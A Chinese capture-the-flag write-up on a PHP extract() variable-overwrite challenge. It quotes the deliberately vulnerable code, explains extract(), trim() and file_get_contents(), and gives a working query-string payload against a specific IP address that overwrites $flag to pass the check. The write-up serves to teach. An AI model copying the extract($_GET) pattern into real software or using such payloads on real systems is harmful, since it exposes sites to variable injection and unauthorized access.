extract变量覆盖

0x01 extract变量覆盖

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}

extract()

定义:

  • 从数组中将变量导入到当前的符号表
  • 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量

语法:extract(array,extract_rules,prefix)

  • array,必需,要使用的数组
<?php
$a="hello";
$b= array('a' =>"world" ,"b"=>"gogogo");
extract($b);
echo $a;

world
?>

trim()

定义:

  • 去除字符串首尾的空白字符(或其它字符)

语法:trim(string,charlist)

  • string,必需,要检查的字符串
  • charlist,可选,规定删除哪些字符,省略则默认删除一些 等字符。
<?php
$a1="hello world    	
";
$a2="hello world ";
$b1=trim($a1);
$b2=trim($a2,"hed");
echo $b1,PHP_EOL;
echo $b2;

hello world
llo world
?>

file_get_contents()

定义:

  • 把整个文件读入到一个字符串中

语法:file_get_contents(path,include_path,context,start,max_length)

  • path,必需,规定要读文件的路径

<?php
$a="E://info.txt";
$b=file_get_contents($a);
echo $b;

hello world!!!
?>

0x02代码分析

变量flag值为"xxx"
extract()接收一个数组,键名作为变量名,值为变量值(若变量名与之前变量名相同则覆盖)
如果变量shiyan不为空
变量flag的值赋值给变量content
如果shiyan与content值相同输出flag

构造payload

123.206.87.240:9009/1.php?shiyan=&flag=

//shiyan和flag都为空
//两个变量作为一个数组被GET接收

参考链接:
https://blog.csdn.net/qq_40980391/article/details/80097596

原文地址:https://www.cnblogs.com/observering/p/12829842.html